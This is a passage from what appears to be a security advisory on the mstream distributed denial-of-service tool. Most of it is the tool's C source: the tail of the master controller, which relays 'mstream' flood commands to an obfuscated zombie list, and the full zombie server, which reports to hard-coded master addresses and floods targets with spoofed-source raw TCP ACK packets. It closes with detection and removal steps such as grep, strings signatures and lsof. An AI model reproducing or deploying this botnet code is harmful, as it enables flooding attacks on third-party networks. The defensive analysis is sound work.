		      send(users[i].fd, &obuf, strlen(obuf), 0);
	           }

	           if (!strncmp(arg[0], "ping", 4)) {
		      pongs = 0;
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "Pinging all servers.\n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);
		      sendtoall("ping");
	           }
	           if (!strncmp(arg[0], "mstream", 7)) {
			    if ((!arg[1]) || (!arg[2])) {
				    memset(&obuf, 0, sizeof obuf);
				    sprintf(obuf, "Usage: mstream <ip1:ip2:ip3:...> <seconds>\n");
				    send(users[i].fd, &obuf, strlen(obuf), 0);
				    prompt(users[i].fd);
				    continue;
				    }
			    memset(&obuf, 0, sizeof obuf);
			    snprintf(obuf, (sizeof obuf)-1, "MStreaming %s for %s seconds.\n", arg[1], arg[2]);
			    send(users[i].fd, &obuf, strlen(obuf), 0);
			    sendtoall("mstream/%s/%s\n", arg[1], arg[2]);
			    }
	           prompt(users[i].fd);
	        }
	     }
          }
       }
    }


    int findfree (void) {
        int i;

       for (i = 0 ; i <= MAXUSERS ; i++) {
          if (!(users[i].opts & USED)) return i;
       }
       return -1;
    }

    void forkbg (void) {
        int pid;

       pid = fork();

       if (pid == -1) {
                  perror("fork");
                  exit(0);
       }

       if (pid > 0) {
                  printf("Forked into background, pid %d\n", pid);
                  exit(0);
       }

    }

    void nlstr (char *str) {
     int i;

    for (i = 0 ; str[i] != NULL ; i++)
	    if ((str[i] == '\n') || (str[i] == '\r')) str[i] = '\0';
    }

    void send2server (u_long addr, char *str, ...) {
        va_list vl;
        char buf[1024];
        int fd;
        struct sockaddr_in sock;

       va_start(vl, str);
       vsnprintf(buf, (sizeof buf)-1, str, vl);
       va_end(vl);

       if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;

       sock.sin_family = AF_INET;
       sock.sin_port = htons(SERVER_PORT);
       sock.sin_addr.s_addr = addr;
       memset(&sock.sin_zero, 0, 8);

       sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
    }

    void tof (char *str) {
       int i;

       for (i = 0 ; str[i] != 0 ; i++)
         str[i]+=50;
    }

    void fof (char *str) {
       int i;

       for (i = 0 ; str[i] != 0 ; i++)
         str[i]-=50;
    }

    void sendtoall (char *str, ...) {
        va_list vl;
        char buf[1024], line[1024];
        struct sockaddr_in sock;
        int fd;
        FILE *f;

       va_start(vl, str);
       vsnprintf(buf, (sizeof buf)-1, str, vl);
       va_end(vl);

       if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;

       sock.sin_family = AF_INET;
       sock.sin_port = htons(SERVER_PORT);
       memset(&sock.sin_zero, 0, 8);

       if ((f = fopen(SERVERFILE, "r")) == NULL) {
          f = fopen(SERVERFILE, "w");
          fclose(f);
          return;
       }

       while (fgets(line, (sizeof line)-1, f)) {
          nlstr(line);
          fof(line);
          nlstr(line);
          sock.sin_addr.s_addr = inet_addr(line);
          sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
       }
    }

    void prompt (int fd) {
        char buf[5];

       memset(&buf, 0, sizeof buf);

       sprintf(buf, "> ");
       send(fd, &buf, strlen(buf), 0);
    }

    int maxfd (int extra1, int extra2) {
        int mfd = 0, i;

       for (i = 0 ; i <= MAXUSERS ; i++)
         if (users[i].opts & USED)
           mfd = max(mfd, users[i].fd);
       mfd = max(max(extra1, extra2), mfd);
       return mfd;
    }

    void sighandle (int sig) {
     int i;
     char obuf[1024];

    memset(&obuf, 0, sizeof obuf);

    switch (sig) {
	    case SIGHUP:
		    snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n");
		    break;
	    case SIGINT:
		    snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n");
		    break;
	    case SIGSEGV:
		    snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting cleanly..\n");
		    break;
	    default:
		    snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not happen.\n");
	    }

    for (i = 0 ; i <= MAXUSERS ; i++)
	    if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) {
		    send(users[i].fd, &obuf, strlen(obuf), 0);
		    prompt(users[i].fd);
		    }
    if (sig == SIGSEGV) exit(1);
    }

    server.c

    /* spwn */

    char *m[]={
	    "1.1.1.1", /* first master */
	    "2.2.2.2", /* second master */
	    "3.3.3.3", /* third master etc */
	    0 };

    #define MASTER_PORT 9325
    #define SERVER_PORT 7983

    #include <sys/time.h>
    #include <strings.h>
    #include <stdarg.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <sys/uio.h>
    #ifndef __USE_BSD
    #define __USE_BSD
    #endif
    #ifndef __FAVOR_BSD
    #define __FAVOR_BSD
    #endif
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #ifdef LINUX
    #define FIX(x)  htons(x)
    #else
    #define FIX(x)  (x)
    #endif


    void forkbg (void);
    void send2master (char *, struct in_addr);
    void stream (int, int, u_long, char **);
    void nlstr (char *);

    int main (int argc, char *argv[])
    {
     struct in_addr ia;
     struct sockaddr_in sock, remote;
     int fd, socksize, opt = 1, i;
     char buf[1024];

    if (getuid() != 0) {
	    fprintf(stderr, "Must be ran as root.\n");
	    exit(0);
	    }

    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
	    perror("socket");
	    exit(0);
	    }

    sock.sin_family = AF_INET;
    sock.sin_port = htons(SERVER_PORT);
    sock.sin_addr.s_addr = INADDR_ANY;
    memset(&sock.sin_zero, 0, 8);

    if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) {
	    perror("bind");
	    exit(0);
	    }

    if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) == -1) {
	    perror("setsockopt");
	    exit(0);
	    }

    forkbg();

    for (i = 0 ; m[i] != 0 ; i++) {
    ia.s_addr = inet_addr(m[i]);
    send2master("newserver", ia);
    }


    for (;;) {
	    socksize = sizeof(struct sockaddr);
	    memset(&buf, 0, sizeof buf);
	    if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote, &socksize) <= 0) continue;
	    if (!strncmp(buf, "stream", 6)) {
		    char *ip;
		    int seconds;
		    nlstr(buf);
		    (void)strtok(buf, "/");
		    ip = strtok(NULL, "/");
		    seconds = atoi(strtok(NULL, "/"));
		    stream(0, (seconds + time(0)), inet_addr(ip), NULL);
		    }

	    if (!strncmp(buf, "mstream", 7)) {
		    char *ips, *ipps[50], *tmpip;
		    int seconds, y = 1;

		    nlstr(buf);
		    (void)strtok(buf, "/");
		    ips = strtok(NULL, "/");
		    seconds = atoi(strtok(NULL, "/"));
		    if ((tmpip = strtok(ips, ":")) == NULL) continue;
		    ipps[0] = (char *) malloc(strlen(tmpip)+2);
		    strncpy(ipps[0], tmpip, strlen(tmpip)+2);
		    y = 1;
		    while ((tmpip = strtok(NULL, ":")) != NULL) {
			    ipps[y] = (char *)malloc(strlen(tmpip)+2);
			    strncpy(ipps[y], tmpip, strlen(tmpip)+2);
			    y++;
			    }
		    ipps[y] = NULL;

		    stream(1, (seconds + time(0)), NULL, ipps);
		    for (y = 0 ; ipps[y] != NULL ; y++) free(ipps[y]);
		    }

	    if (!strncmp(buf, "ping", 4)) {
		    send2master("pong", remote.sin_addr);
		    }
	    } /* for(;;) */

    } /* main */

    void send2master (char *buf, struct in_addr addr) {
     struct sockaddr_in sock;
     int fd;

    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;

    sock.sin_family = AF_INET;
    sock.sin_port = htons(MASTER_PORT);
    sock.sin_addr = addr;
    memset(&sock.sin_zero, 0, 8);

    sendto(fd, buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
    }

    void forkbg (void) {
     int pid;

    pid = fork();

    if (pid == -1) {
	    perror("fork");
	    exit(0);
	    }

    if (pid > 0) {
	    printf("Forked into background, pid %d\n", pid);
	    exit(0);
	    }

    }
    struct ip_hdr {
        u_int	ip_hl:4,		/* header length in 32 bit words */
		    ip_v:4;			/* ip version */
        u_char	ip_tos;			/* type of service */
        u_short	ip_len;			/* total packet length */
        u_short	ip_id;			/* identification */
        u_short	ip_off;			/* fragment offset */
        u_char	ip_ttl;			/* time to live */
        u_char	ip_p;			/* protocol */
        u_short	ip_sum;			/* ip checksum */
        u_long	saddr, daddr;		/* source and dest address */
    };

    struct tcp_hdr {
        u_short	th_sport;		/* source port */
        u_short	th_dport;		/* destination port */
        u_long	th_seq;			/* sequence number */
        u_long	th_ack;			/* acknowledgement number */
        u_int	th_x2:4,		/* unused */
		    th_off:4;		/* data offset */
        u_char	th_flags;		/* flags field */
        u_short	th_win;			/* window size */
        u_short	th_sum;			/* tcp checksum */
        u_short	th_urp;			/* urgent pointer */
    };

    struct tcpopt_hdr {
        u_char  type;			/* type */
        u_char  len;				/* length */
        u_short value;			/* value */
    };

    struct pseudo_hdr {			/* See RFC 793 Pseudo Header */
        u_long saddr, daddr;			/* source and dest address */
        u_char mbz, ptcl;			/* zero and protocol */
        u_short tcpl;			/* tcp length */
    };

    struct packet {
        struct ip/*_hdr*/ ip;
        struct tcphdr tcp;
    /* struct tcpopt_hdr opt; */
    };

    struct cksum {
        struct pseudo_hdr pseudo;
        struct tcphdr tcp;
    };

    struct packet packet;
    struct cksum cksum;
    struct sockaddr_in s_in;
    int sock;


    /* This is a reference internet checksum implimentation, not very fast */
    inline u_short in_cksum(u_short *addr, int len)
    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

         /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
          * sequential 16 bit words to it, and at the end, fold back all the
          * carry bits from the top 16 bits into the lower 16 bits. */

         while (nleft > 1)  {
             sum += *w++;
             nleft -= 2;
         }

         /* mop up an odd byte, if necessary */
         if (nleft == 1) {
             *(u_char *)(&answer) = *(u_char *) w;
             sum += answer;
         }

         /* add back carry outs from top 16 bits to low 16 bits */
         sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
         sum += (sum >> 16);         	/* add carry */
         answer = ~sum;              	/* truncate to 16 bits */
         return(answer);
    }
    void stream (int t, int until, u_long dstaddr, char *dstaddrs[])
    {
        struct timespec ts;
        int on = 1;

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return;

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) == -1) return;


    srand((time(NULL) ^ getpid()) + getppid());

        memset(&packet, 0, sizeof packet);

        ts.tv_sec			= 0;
        ts.tv_nsec			= 10;

        packet.ip.ip_hl		= 5;
        packet.ip.ip_v		= 4;
        packet.ip.ip_p		= IPPROTO_TCP;
        packet.ip.ip_tos		= 0x08;
        packet.ip.ip_id 		= rand();
        packet.ip.ip_len		= FIX(sizeof packet);
        packet.ip.ip_off		= 0; /* IP_DF? */
        packet.ip.ip_ttl		= 255;
    if (!t)
        packet.ip.ip_dst.s_addr	= dstaddr;

        packet.tcp.th_flags		= TH_ACK;
        packet.tcp.th_win		= htons(16384);
        packet.tcp.th_seq		= random();
        packet.tcp.th_ack		= 0;
        packet.tcp.th_off		= 5; /* 5 */
        packet.tcp.th_urp		= 0;
        packet.tcp.th_sport		= rand();
        packet.tcp.th_dport		= rand();

    if (!t)
        cksum.pseudo.daddr		= dstaddr;
        cksum.pseudo.mbz		= 0;
        cksum.pseudo.ptcl		= IPPROTO_TCP;
        cksum.pseudo.tcpl		= htons(sizeof(struct tcphdr));

        s_in.sin_family		= AF_INET;
    if (!t)
        s_in.sin_addr.s_addr		= dstaddr;
        s_in.sin_port		= packet.tcp.th_dport;

        while (time(0) <= until) {
    if (t) {
     int x;

    for (x = 0 ; dstaddrs[x] != NULL ; x++) {
    if (!strchr(dstaddrs[x], '.')) break;
    packet.ip.ip_dst.s_addr     = inet_addr(dstaddrs[x]);
    cksum.pseudo.daddr          = inet_addr(dstaddrs[x]);
    s_in.sin_addr.s_addr        = inet_addr(dstaddrs[x]);
    cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
    ++packet.ip.ip_id;
    ++packet.tcp.th_sport;
    ++packet.tcp.th_seq;
    s_in.sin_port = packet.tcp.th_dport = rand();
    packet.ip.ip_sum         = 0;
    packet.tcp.th_sum                = 0;
    cksum.tcp                        = packet.tcp;
    packet.ip.ip_sum         = in_cksum((void *)&packet.ip, 20);
    packet.tcp.th_sum                = in_cksum((void *)&cksum, sizeof cksum);
    sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
    }
    } else {



        cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
           ++packet.ip.ip_id;
           ++packet.tcp.th_sport;
           ++packet.tcp.th_seq;

           s_in.sin_port = packet.tcp.th_dport = rand();

           packet.ip.ip_sum		= 0;
           packet.tcp.th_sum		= 0;

           cksum.tcp			= packet.tcp;

           packet.ip.ip_sum		= in_cksum((void *)&packet.ip, 20);
           packet.tcp.th_sum		= in_cksum((void *)&cksum, sizeof cksum);

    sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
          }
        }
    }

    void nlstr (char *str) {
    if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = '\0';
    }

SOLUTION

    There are none.  We are all doomed.  Time to shop for property  in
    Montana  and   stock  up   on  non-perishable   food  items    and
    semi-automatic weapons.  (Seriously,  authors didn't have time  to
    finish  this  section.    Any  defenses   already  discussed   for
    stream/stream2 or  other DDoS  tools would  apply.   And for God's
    sake,  SECURE  ALL  THOSE  SYSTEMS  they  are using to build these
    networks!).

    To  locate  the  mstream  master  or  zombie  on a system, use the
    following command for each filesystem on the machine:

        find / -mount -type f -print | xargs grep -l newserver

    Replace / with whichever file system you want to search. This  may
    find files that are not  part of mstream, such as  /usr/bin/xchat,
    but you can  verify each file  found by using  the strings command
    on it.   The strings  output of  the zombie,  from server.c,  will
    contain this text:

        Must be ran as root.
        socket
        bind
        setsockopt
        newserver
        stream
        mstream
        ping
        pong
        fork
        Forked into background, pid %d

    Running strings on the master will find this text:

        Connection from %s
        newserver
        New server on %s.
        pong
        Got pong number %d from %s
        %s has disconnected (not auth'd): %s
        Invalid password from %s.
        Password accepted for connection from %s.
        Lost connection to %s: %s

    If you know which port the master controller is listening on,  you
    can use  lsof. Use  this command  to locate  the master:  "lsof -i
    TCP:port." The result will be similar to the following:

        [root@berry]# lsof -i TCP:12754
        COMMAND  PID     USER   FD   TYPE DEVICE SIZE NODE NAME
        mstream  3664    juser  3u   IPv4 721759       TCP *:12754 (LISTEN)

    This will locate the process that is listening on TCP port  12754.
    To  find  the  path  to  the  executable, use the command "lsof -c
    <command> -a -d txt":

        [root@berry]# lsof -c mstream -a -d txt
        COMMAND  PID     USER  FD   TYPE DEVICE  SIZE   NODE NAME
        mstream  3664    juser txt   REG    8,1  33185 306211 /home/juser/mstream

    To  kill  the  process,  delete  the master controller executable,
    check the "..." or ".sr" file, and decode the IP addresses of  all
    of the zombies. The following shell command will decrypt the file:

        [root@berry]# cat ... | tr 'b-k`' '0-9.' | sed 's/<$//' 208.21.2.18